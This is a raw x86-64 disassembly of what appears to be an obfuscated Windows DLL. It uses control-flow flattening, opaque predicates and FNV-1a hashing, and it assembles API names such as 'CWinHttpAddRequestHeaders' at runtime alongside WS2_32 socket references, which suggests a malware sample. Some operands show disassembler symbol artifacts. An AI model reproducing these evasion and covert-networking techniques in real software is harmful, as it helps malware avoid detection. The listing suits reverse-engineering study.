mov ecx, 0x18f93051
jmp 0x1800b9d90
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 6], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800ba992
cmp edx, 0xdfbe209
jne 0x1800b9e60
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b9eab
cmp edx, 0x698c8bdd
jne 0x1800b9e90
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b9e90
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x74
mov edx, 0xeae3817
jmp 0x1800b9e60
mov dword [rsp + 0x48], 0x76
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 4], ax
sete byte [rsp + 0x60]
cmp ebp, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
nop dword [rax + rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b9f20
cmp ecx, 0xd2fca98e
je 0x1800b9f55
cmp ecx, 0xebe17d3
je 0x1800b9f5c
cmp ecx, 0x18f93051
jne 0x1800b9ef0
jmp 0x1800baa0d
cmp ecx, 0x1fbde8f2
je 0x1800b9f63
cmp ecx, 0x5f0dfb2f
je 0x1800b9f67
cmp ecx, 0x4e6cc85c
jne 0x1800b9ef0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne ecx, ebp
test al, al
cmovne ecx, ebp
jmp 0x1800b9ef0
mov ecx, 0x1fbde8f2
jmp 0x1800b9ef0
mov ecx, 0x5f0dfb2f
jmp 0x1800b9ef0
mov ecx, edi
jmp 0x1800b9ef0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b9f82
cmp ecx, 0x3e50374a
jne 0x1800b9f70
jmp 0x1800b9f89
mov ecx, 0x3e50374a
jmp 0x1800b9f70
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx edx, ax
mov ecx, 0x18f93051
jmp 0x1800b9ef0
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 6], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800bb2d5
cmp edx, 0xdfbe209
jne 0x1800b9fc0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800ba00b
cmp edx, 0x698c8bdd
jne 0x1800b9ff0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b9ff0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x74
mov edx, 0xeae3817
jmp 0x1800b9fc0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 8], dx
mov edx, 0x66a53b08
nop
cmp edx, 0x45c64127
je 0x1800bb34d
cmp edx, 0x66a53b08
jne 0x1800ba040
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800ba072
cmp ecx, 0x9dbef50
jne 0x1800ba060
jmp 0x1800ba079
mov ecx, 0x9dbef50
jmp 0x1800ba060
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800ba040
mov dword [rsp + 0x70], 0x20
mov word [rsp + 0x40], cx
movzx eax, word [rsp + 0x40]
mov ecx, dword [rsp + 0x70]
add cx, ax
mov rax, qword [rsp + 0x48]
mov word [rax], cx
mov eax, 0x75faa922
nop
cmp eax, 0x625e51da
je 0x1800bb3d9
cmp eax, 0x75faa922
jne 0x1800ba0d0
mov rax, qword [rsp + 0x48]
mov ecx, dword [0x180129880]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x54]
mov ecx, dword [0x180129884]
mov ebp, 0x117a5aa2
mov edx, 0xc93ff860
cmove ebp, edx
cmp ecx, 0xa
setl byte [rsp + 0x68]
cmovl ebp, edx
mov ecx, 0xe371ccc2
nop
cmp ecx, 0x117a5aa1
jle 0x1800ba150
cmp ecx, 0x117a5aa2
je 0x1800ba16c
cmp ecx, 0x352435fc
je 0x1800ba173
cmp ecx, 0x36430429
jne 0x1800ba120
jmp 0x1800ba1d6
cmp ecx, 0xc93ff860
je 0x1800ba199
cmp ecx, 0xe371ccc2
je 0x1800ba1a0
cmp ecx, 0x369743b
jne 0x1800ba120
mov ecx, ebp
jmp 0x1800ba120
mov ecx, 0x369743b
jmp 0x1800ba120
mov ecx, 0x1c61ffe1
nop dword [rax + rax]
cmp ecx, 0x1c61ffe1
je 0x1800ba192
cmp ecx, 0xe0743747
jne 0x1800ba180
jmp 0x1800ba1c0
mov ecx, 0xe0743747
jmp 0x1800ba180
mov ecx, 0x352435fc
jmp 0x1800ba120
mov bl, byte [rsp + 0x54]
cmp byte [rsp + 0x68], 0
mov ecx, 0x117a5aa2
mov edi, 0x369743b
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1800ba120
mov dword [rsp + 0x58], 6
mov edx, dword [rsp + 0x58]
mov ecx, 0x36430429
jmp 0x1800ba120
mov dword [rsp + 0x58], 0x2a
mov word [rsp + 0x60], dx
movzx ecx, word [rsp + 0x60]
mov edx, dword [rsp + 0x58]
add dx, cx
mov word [rax + 2], dx
mov ecx, dword [0x180129880]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x54]
mov ecx, dword [0x180129884]
mov ebp, 0x117a5aa2
mov edx, 0xc93ff860
cmove ebp, edx
cmp ecx, 0xa
setl byte [rsp + 0x68]
cmovl ebp, edx
mov ecx, 0xe371ccc2
nop word [rax + rax]
cmp ecx, 0x117a5aa1
jle 0x1800ba260
cmp ecx, 0x117a5aa2
je 0x1800ba27c
cmp ecx, 0x352435fc
je 0x1800ba283
cmp ecx, 0x36430429
jne 0x1800ba230
jmp 0x1800ba2e6
cmp ecx, 0xc93ff860
je 0x1800ba2a9
cmp ecx, 0xe371ccc2
je 0x1800ba2b0
cmp ecx, 0x369743b
jne 0x1800ba230
mov ecx, ebp
jmp 0x1800ba230
mov ecx, 0x369743b
jmp 0x1800ba230
mov ecx, 0x1c61ffe1
nop dword [rax + rax]
cmp ecx, 0x1c61ffe1
je 0x1800ba2a2
cmp ecx, 0xe0743747
jne 0x1800ba290
jmp 0x1800ba2d0
mov ecx, 0xe0743747
jmp 0x1800ba290
mov ecx, 0x352435fc
jmp 0x1800ba230
mov bl, byte [rsp + 0x54]
cmp byte [rsp + 0x68], 0
mov ecx, 0x117a5aa2
mov edi, 0x369743b
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1800ba230
mov dword [rsp + 0x58], 6
mov edx, dword [rsp + 0x58]
mov ecx, 0x36430429
jmp 0x1800ba230
mov dword [rsp + 0x58], 0x2f
mov word [rsp + 0x60], dx
movzx ecx, word [rsp + 0x60]
mov edx, dword [rsp + 0x58]
add dx, cx
mov word [rax + 4], dx
add rax, 6
mov qword [rsp + 0x40], rax
lea rax, [0x18011fda4]
mov qword [rsp + 0x70], rax
mov eax, 0x625e51da
jmp 0x1800ba0d0
mov eax, 0x1fbf9f4a
jmp 0x1800ba340
mov eax, 0x840f558
mov rdi, qword [rsp + 0x70]
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xf6d10489
jg 0x1800ba370
cmp eax, 0x9e10ee04
jle 0x1800ba3b0
cmp eax, 0x9e10ee05
je 0x1800ba42c
cmp eax, 0xb2082851
jne 0x1800ba459
mov rsi, qword [rsp + 0x48]
mov eax, 0xa50f477c
jmp 0x1800ba340
cmp eax, 0x1cc409e7
jg 0x1800ba410
cmp eax, 0xf6d1048a
je 0x1800ba436
cmp eax, 0x840f558
jne 0x1800ba340
mov qword [rsp + 0x298], rdi
mov rax, qword [rsp + 0x298]
cmp rax, 0x12
mov eax, 0xf6d1048a
mov ecx, 0x9aab7fb9
cmovb eax, ecx
jmp 0x1800ba340
cmp eax, 0x927db70f
je 0x1800ba329
cmp eax, 0x9aab7fb9
jne 0x1800ba340
mov rbx, qword [rsp + 0x298]
movzx edx, byte [rsp + rbx + 0x168]
lea rcx, [rsp + 0x168]
call fcn.1800c75d0
mov byte [rsp + rbx + 0x168], al
mov rax, qword [rsp + 0x298]
add rax, 1
mov qword [rsp + 0x70], rax
mov eax, 0x9e10ee05
jmp 0x1800ba340
cmp eax, 0x1cc409e8
je 0x1800ba44d
cmp eax, 0x1fbf9f4a
jne 0x1800ba340
mov eax, 0x1cc409e8
jmp 0x1800ba340
mov eax, 0x927db70f
jmp 0x1800ba340
lea rax, [rsp + 0x168]
mov qword [rsp + 0x48], rax
mov eax, 0xb2082851
jmp 0x1800ba340
mov eax, 0x840f558
xor edi, edi
jmp 0x1800ba340
cmp eax, 0xa50f477c
jne 0x1800ba340
mov qword [rsp + 0x40], rsi
mov r9, qword [rsp + 0x40]
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801294fc], 0xa
setl cl
or cl, al
mov r8d, 0x6b3afa7f
mov eax, 0xd9a22da7
cmovne r8d, eax
mov r10d, 0x6b3afa7f
mov eax, 0xa024a977
cmovne r10d, eax
mov r12d, 0xa01aa426
mov eax, 0x95eaf0dc
cmovne r12d, eax
mov edi, 0xa01aa426
mov eax, 0x9aca454
cmovne edi, eax
mov edx, 0x96d144b1
jmp 0x1800ba500
movsxd rcx, r11d
xor rcx, qword [rsp + 0x298]
movabs rax, 0x100000001b3
imul rcx, rax
mov eax, dword [rsp + 0x40]
add eax, 1
mov edx, 0x126ae241
nop word cs:[rax + rax]
nop dword [rax]
mov esi, edx
cmp edx, 0x9aca453
jle 0x1800ba560
cmp esi, 0x4bacb182
jle 0x1800ba5b0
cmp esi, 0x5751c9b6
jle 0x1800ba64c
cmp esi, 0x77e83218
jg 0x1800ba73d
cmp esi, 0x5751c9b7
je 0x1800ba762
mov edx, esi
cmp esi, 0x6b3afa7f
jne 0x1800ba500
mov edx, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
mov edx, 0xa024a977
jmp 0x1800ba500
cmp esi, 0xba417c88
jg 0x1800ba610
cmp esi, 0xa024a976
jg 0x1800ba68a
cmp esi, 0x95eaf0dc
je 0x1800ba76c
cmp esi, 0x96d144b1
je 0x1800ba77b
mov edx, esi
cmp esi, 0xa01aa426
jne 0x1800ba500
mov edx, 0x9aca454
jmp 0x1800ba500
cmp esi, 0x140ee926
jg 0x1800ba6c6
mov edx, r12d
cmp esi, 0x9aca454
je 0x1800ba500
cmp esi, 0x11a33ffd
je 0x1800ba785
mov edx, esi
cmp esi, 0x126ae241
jne 0x1800ba500
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x298], rcx
mov edx, dword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
cmp esi, edx
mov edx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb edx, esi
jmp 0x1800ba500
cmp esi, 0xdaa262c9
jg 0x1800ba706
cmp esi, 0xba417c89
je 0x1800ba4cd
cmp esi, 0xc68ca180
je 0x1800ba792
mov edx, esi
cmp esi, 0xd9a22da7
jne 0x1800ba500
mov edx, 0xf648bac2
jmp 0x1800ba500
cmp esi, 0x4bacb183
je 0x1800ba7bd
mov edx, r10d
cmp esi, 0x52c11306
je 0x1800ba500
mov edx, esi
cmp esi, 0x568f1370
jne 0x1800ba500
mov edx, dword [rsp + 0x48]
add edx, 1
mov dword [rsp + 0x68], edx
mov edx, 0xdaa262ca
jmp 0x1800ba500
cmp esi, 0xa024a977
je 0x1800ba7d3
cmp esi, 0xb3dd72df
je 0x1800ba819
mov edx, esi
cmp esi, 0xb78226fb
jne 0x1800ba500
mov edx, dword [rsp + 0x54]
cmp edx, 0x7f
setl byte [rsp + 0x7e]
mov edx, 0xee7ccbb7
jmp 0x1800ba500
cmp esi, 0x140ee927
je 0x1800ba83e
cmp esi, 0x22a3f0a1
je 0x1800ba84d
mov edx, esi
cmp esi, 0x38d2119f
jne 0x1800ba500
cmp byte [rsp + 0x80], 0
mov edx, 0x140ee927
mov esi, 0x52c11306
cmovne edx, esi
jmp 0x1800ba500
mov edx, edi
cmp esi, 0xdaa262ca
je 0x1800ba500
cmp esi, 0xee7ccbb7
je 0x1800ba863
mov edx, esi
cmp esi, 0xf648bac2
jne 0x1800ba500
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x58]
jmp 0x1800ba500
cmp esi, 0x7f221d67
jne 0x1800ba87a
mov edx, dword [rsp + 0x60]
cmp edx, 0x5b
setl byte [rsp + 0x80]
mov edx, 0x38d2119f
jmp 0x1800ba500
mov edx, 0x4bacb183
jmp 0x1800ba500
mov edx, 0xc68ca180
mov r14d, dword [rsp + 0x68]
jmp 0x1800ba500
mov edx, 0x11a33ffd
jmp 0x1800ba500
mov edx, 0xc68ca180
xor r14d, r14d
jmp 0x1800ba500
mov dword [rsp + 0x48], r14d
mov edx, dword [rsp + 0x48]
movsx edx, byte [r9 + rdx]
mov dword [rsp + 0x54], edx
mov edx, dword [rsp + 0x54]
cmp edx, 0x20
mov edx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge edx, esi
jmp 0x1800ba500
mov edx, 0x126ae241
xor eax, eax
movabs rcx, 0xcbf29ce484222325
jmp 0x1800ba500
mov edx, dword [rsp + 0x60]
mov esi, edx
not esi
mov ebp, edx
and ebp, 0x4048890
mov ebx, esi
and ebx, 0x9021040a
or ebx, ebp
mov ebp, edx
and ebp, 0x6bda7345
and esi, 0x20
or esi, 0x6b822240
xor esi, ebp
or esi, ebx
and edx, 0x20
or edx, 0xfba3264a
xor edx, esi
mov dword [rsp + 0x58], edx
mov edx, r8d
jmp 0x1800ba500
mov rdx, qword [rsp + 0x70]
movsx edx, byte [rdx]
mov dword [rsp + 0x60], edx
mov edx, dword [rsp + 0x60]
cmp edx, 0x41
mov edx, 0x140ee927
mov esi, 0x7f221d67
cmovge edx, esi
jmp 0x1800ba500
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x60]
jmp 0x1800ba500
mov edx, dword [rsp + 0x40]
add rdx, r9
mov qword [rsp + 0x70], rdx
mov edx, 0xb3dd72df
jmp 0x1800ba500
cmp byte [rsp + 0x7e], 0
mov edx, 0x5751c9b7
mov esi, 0x568f1370
cmovne edx, esi
jmp 0x1800ba500
mov edx, esi
cmp esi, 0x77e83219
jne 0x1800ba500
mov rcx, qword [rsp + 0x298]
call fcn.1800e9be0
mov qword [rsp + 0x130], rax
mov eax, 0xf47d6683
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov dword [rsp + 0x48], 0x76
mov dword [rsp + 0x40], ebx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 4], ax
sete byte [rsp + 0x60]
cmp ebp, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800ba910
cmp ecx, 0xd2fca98e
je 0x1800ba945
cmp ecx, 0xebe17d3
je 0x1800ba94c
cmp ecx, 0x18f93051
jne 0x1800ba8e0
jmp 0x1800bb4d6
cmp ecx, 0x1fbde8f2
je 0x1800ba953
cmp ecx, 0x5f0dfb2f
je 0x1800ba957
cmp ecx, 0x4e6cc85c
jne 0x1800ba8e0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne ecx, ebp
test al, al
cmovne ecx, ebp
jmp 0x1800ba8e0
mov ecx, 0x1fbde8f2
jmp 0x1800ba8e0
mov ecx, 0x5f0dfb2f
jmp 0x1800ba8e0
mov ecx, edi
jmp 0x1800ba8e0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800ba972
cmp ecx, 0x3e50374a
jne 0x1800ba960
jmp 0x1800ba979
mov ecx, 0x3e50374a
jmp 0x1800ba960
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx edx, ax
mov ecx, 0x18f93051
jmp 0x1800ba8e0
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 7], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800bbdc0
cmp edx, 0xdfbe209
jne 0x1800ba9b0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800ba9fb
cmp edx, 0x698c8bdd
jne 0x1800ba9e0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800ba9e0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x61
mov edx, 0xeae3817
jmp 0x1800ba9b0
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], edx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov word [r8 + 6], ax
mov word [r8 + 8], 0
lea rcx, [rsp + 0x1a8]
call fcn.1800c20f0
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1800ae920
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x68], r14
mov rax, qword [rsp + 0x68]
mov byte [rax], 0x43
mov rsi, qword [rsp + 0x68]
mov rcx, r14
mov dl, 0x57
xor r8d, r8d
call fcn.1800c3ab0
mov byte [rsi + 1], al
mov r8d, 1
mov rcx, r14
mov dl, 0x69
call fcn.1800c3ab0
mov byte [rsi + 2], al
mov r8d, 2
mov rcx, r14
mov dl, 0x6e
call fcn.1800c3ab0
mov byte [rsi + 3], al
mov r8d, 3
mov rcx, r14
mov dl, 0x48
call fcn.1800c3ab0
mov byte [rsi + 4], al
mov r8d, 4
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 5], al
mov r8d, 5
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 6], al
mov r8d, 6
mov rcx, r14
mov dl, 0x70
call fcn.1800c3ab0
mov byte [rsi + 7], al
mov r8d, 7
mov rcx, r14
mov dl, 0x41
call fcn.1800c3ab0
mov byte [rsi + 8], al
mov r8d, 8
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rsi + 9], al
mov r8d, 9
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rsi + 0xa], al
mov r8d, 0xa
mov rcx, r14
mov dl, 0x52
call fcn.1800c3ab0
mov byte [rsi + 0xb], al
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0xc], al
mov r8d, 0xc
mov rcx, r14
mov dl, 0x71
call fcn.1800c3ab0
mov byte [rsi + 0xd], al
mov r8d, 0xd
mov rcx, r14
mov dl, 0x75
call fcn.1800c3ab0
mov byte [rsi + 0xe], al
mov r8d, 0xe
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0xf], al
mov r8d, 0xf
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov byte [rsi + 0x10], al
mov r8d, 0x10
mov rcx, r14
mov dl, 0x74
call fcn.1800c3ab0
mov byte [rsi + 0x11], al
mov r8d, 0x11
mov rcx, r14
mov dl, 0x48
call fcn.1800c3ab0
mov byte [rsi + 0x12], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rsi + 0x13], al
add rsi, 0x14
mov qword [rsp + 0x60], rsi
mov r8d, socket
mov rcx, r14
mov dl, 0x61
call fcn.1800c3ab0
mov byte [rsp + 0x80], al
mov eax, 0x27ec2ed4
jmp 0x1800bac1c
mov qword [rsp + 0x70], rsi
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x56f16ae8
mov ecx, 0xb75b3ef4
cmove eax, ecx
cmp dword [0x180129784], 0xa
cmovl eax, ecx
cmp eax, 0x1e3ba5b
jle 0x1800bac70
cmp eax, 0x1d3023e7
jle 0x1800bace0
cmp eax, 0x1d3023e8
je 0x1800babf1
cmp eax, 0x56f16ae8
je 0x1800badc7
cmp eax, 0x27ec2ed4
jne 0x1800bac1c
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e3ba5c
mov ecx, 0x18ad4d0c
jmp 0x1800bac0f
cmp eax, 0xbe827434
jg 0x1800bad90
cmp eax, 0x891dc9b6
je 0x1800bade3
cmp eax, 0xb75b3ef4
jne 0x1800bae73
mov rax, qword [rsp + 0x70]
mov byte [rax], 0
mov rax, qword [rsp + 0x70]
add rax, 1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
sete byte [rsp + 0x54]
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x56f16ae8
mov ecx, 0x891dc9b6
jmp 0x1800bac0f
cmp eax, 0x1e3ba5c
je 0x1800badff
cmp eax, 0x18ad4d0c
jne 0x1800bac1c
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x80]
mov byte [rax], cl
mov rdi, qword [rsp + 0x60]
mov r8d, socket
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rdi + 1], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rdi + 2], al
mov r8d, socket
mov rcx, r14
mov dl, WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 3], al
add rdi, 4
mov qword [rsp + 0x58], rdi
mov r8d, reloc.WS2_32.dll_socket
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov rcx, qword [rsp + 0x58]
mov byte [rcx], al
mov eax, dword [0x180129780]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e3ba5c
mov ecx, 0xbe827435
jmp 0x1800bac0f
cmp eax, 0xbe827435
je 0x1800bae69
cmp eax, 0xfe839012
jne 0x1800bac1c
mov rsi, qword [rsp + 0x58]
add rsi, 1
mov rax, qword [rsp + 0x68]
add rax, 0x1a
mov qword [rsp + 0x48], rax
mov eax, 0x1d3023e8
jmp 0x1800bac1c
mov rax, qword [rsp + 0x70]
mov byte [rax], 0
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x48]
mov eax, 0xb75b3ef4
jmp 0x1800bac1c
cmp byte [rsp + 0x54], 0
mov eax, 0x1d3023e8
mov ecx, 0xa18e4980
cmovne eax, ecx
mov rsi, qword [rsp + 0x40]
jmp 0x1800bac1c
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x80]
mov byte [rax], cl
mov rdi, qword [rsp + 0x60]
mov r8d, socket
mov rcx, r14
mov dl, 0x64
call fcn.1800c3ab0
mov byte [rdi + 1], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3ab0
mov byte [rdi + 2], al
mov r8d, socket
mov rcx, r14
mov dl, WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 3], al
mov r8d, reloc.WS2_32.dll_socket
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3ab0
mov byte [rdi + 4], al
mov eax, 0x18ad4d0c
jmp 0x1800bac1c
mov eax, 0xfe839012
jmp 0x1800bac1c
cmp eax, 0xa18e4980
jne 0x1800bac1c
mov rcx, r14
call fcn.1800c2320
mov ecx, dword [0x1801294f8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801294fc], 0xa
setl dl
or dl, cl
mov r8d, 0x6b3afa7f
mov ecx, 0xd9a22da7
cmovne r8d, ecx
mov r9d, 0x6b3afa7f
mov ecx, 0xa024a977
cmovne r9d, ecx
mov r14d, 0xa01aa426
mov ecx, 0x95eaf0dc
cmovne r14d, ecx
mov r12d, 0xa01aa426
mov ecx, 0x9aca454
cmovne r12d, ecx
mov ebx, 0x96d144b1
jmp 0x1800baf10
movsxd rcx, r10d
xor rcx, qword [rsp + 0x70]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov edx, dword [rsp + 0x48]
add edx, 1
mov ebx, 0x126ae241
nop dword [rax]
mov esi, ebx
cmp ebx, 0x9aca453
jle 0x1800baf70
cmp esi, 0x4bacb182
jle 0x1800bafc0
cmp esi, 0x5751c9b6
jle 0x1800bb05c
cmp esi, 0x77e83218
jg 0x1800bb14e
cmp esi, 0x5751c9b7
je 0x1800bb170
mov ebx, esi
cmp esi, 0x6b3afa7f
jne 0x1800baf10
mov esi, dword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
mov ebx, 0xa024a977
jmp 0x1800baf10
cmp esi, 0xba417c88
jg 0x1800bb020
cmp esi, 0xa024a976
jg 0x1800bb09a
cmp esi, 0x95eaf0dc
je 0x1800bb17a
cmp esi, 0x96d144b1
je 0x1800bb189
mov ebx, esi
cmp esi, 0xa01aa426
jne 0x1800baf10
mov ebx, 0x9aca454
jmp 0x1800baf10
cmp esi, 0x140ee926
jg 0x1800bb0d9
mov ebx, r14d
cmp esi, 0x9aca454
je 0x1800baf10
cmp esi, 0x11a33ffd
je 0x1800bb193
mov ebx, esi
cmp esi, 0x126ae241
jne 0x1800baf10
mov dword [rsp + 0x48], edx
mov qword [rsp + 0x70], rcx
mov esi, dword [rsp + 0x58]
mov ebx, dword [rsp + 0x48]
cmp ebx, esi
mov ebx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb ebx, esi
jmp 0x1800baf10
cmp esi, 0xdaa262c9
jg 0x1800bb116
cmp esi, 0xba417c89
je 0x1800baee7
cmp esi, 0xc68ca180
je 0x1800bb1a0
mov ebx, esi
cmp esi, 0xd9a22da7
jne 0x1800baf10
mov ebx, 0xf648bac2
jmp 0x1800baf10
cmp esi, 0x4bacb183
je 0x1800bb1d0
mov ebx, r9d
cmp esi, 0x52c11306
je 0x1800baf10
mov ebx, esi
cmp esi, 0x568f1370
jne 0x1800baf10
mov esi, dword [rsp + 0x58]
add esi, 1
mov dword [rsp + 0x54], esi
mov ebx, 0xdaa262ca
jmp 0x1800baf10
cmp esi, 0xa024a977
je 0x1800bb1e6
cmp esi, 0xb3dd72df
je 0x1800bb22c
mov ebx, esi
cmp esi, 0xb78226fb
jne 0x1800baf10
mov esi, dword [rsp + 0x80]
cmp esi, 0x7f
setl byte [rsp + 0x7f]
mov ebx, 0xee7ccbb7
jmp 0x1800baf10
cmp esi, 0x140ee927
je 0x1800bb251
cmp esi, 0x22a3f0a1
je 0x1800bb260
mov ebx, esi
cmp esi, 0x38d2119f
jne 0x1800baf10
cmp byte [rsp + 0x7e], 0
mov ebx, 0x140ee927
mov esi, 0x52c11306
cmovne ebx, esi
jmp 0x1800baf10
mov ebx, r12d
cmp esi, 0xdaa262ca
je 0x1800baf10
cmp esi, 0xee7ccbb7
je 0x1800bb276
mov ebx, esi
cmp esi, 0xf648bac2
jne 0x1800baf10
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x60]
jmp 0x1800baf10
cmp esi, 0x7f221d67
jne 0x1800bb28d
mov esi, dword [rsp + 0x68]
cmp esi, 0x5b
setl byte [rsp + 0x7e]
mov ebx, 0x38d2119f
jmp 0x1800baf10
mov ebx, 0x4bacb183
jmp 0x1800baf10
mov ebx, 0xc68ca180
mov r11d, dword [rsp + 0x54]
jmp 0x1800baf10
mov ebx, 0x11a33ffd
jmp 0x1800baf10
mov ebx, 0xc68ca180
xor r11d, r11d
jmp 0x1800baf10
mov dword [rsp + 0x58], r11d
mov esi, dword [rsp + 0x58]
movsx esi, byte [rax + rsi]
mov dword [rsp + 0x80], esi
mov esi, dword [rsp + 0x80]
cmp esi, 0x20
mov ebx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge ebx, esi
jmp 0x1800baf10
mov ebx, 0x126ae241
xor edx, edx
movabs rcx, 0xcbf29ce484222325
jmp 0x1800baf10
mov esi, dword [rsp + 0x68]
mov ebx, esi
not ebx
mov ebp, esi
and ebp, 0x4048890
mov edi, ebx
and edi, 0x9021040a
or edi, ebp
mov ebp, esi
and ebp, 0x6bda7345
and ebx, 0x20
or ebx, 0x6b822240
xor ebx, ebp
or ebx, edi
and esi, 0x20
or esi, 0xfba3264a
xor esi, ebx
mov dword [rsp + 0x60], esi
mov ebx, r8d
jmp 0x1800baf10
mov rsi, qword [rsp + 0x40]
movsx esi, byte [rsi]
mov dword [rsp + 0x68], esi
mov esi, dword [rsp + 0x68]
cmp esi, 0x41
mov ebx, 0x140ee927
mov esi, 0x7f221d67
cmovge ebx, esi
jmp 0x1800baf10
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x68]
jmp 0x1800baf10
mov esi, dword [rsp + 0x48]
add rsi, rax
mov qword [rsp + 0x40], rsi
mov ebx, 0xb3dd72df
jmp 0x1800baf10
cmp byte [rsp + 0x7f], 0
mov ebx, 0x5751c9b7
mov esi, 0x568f1370
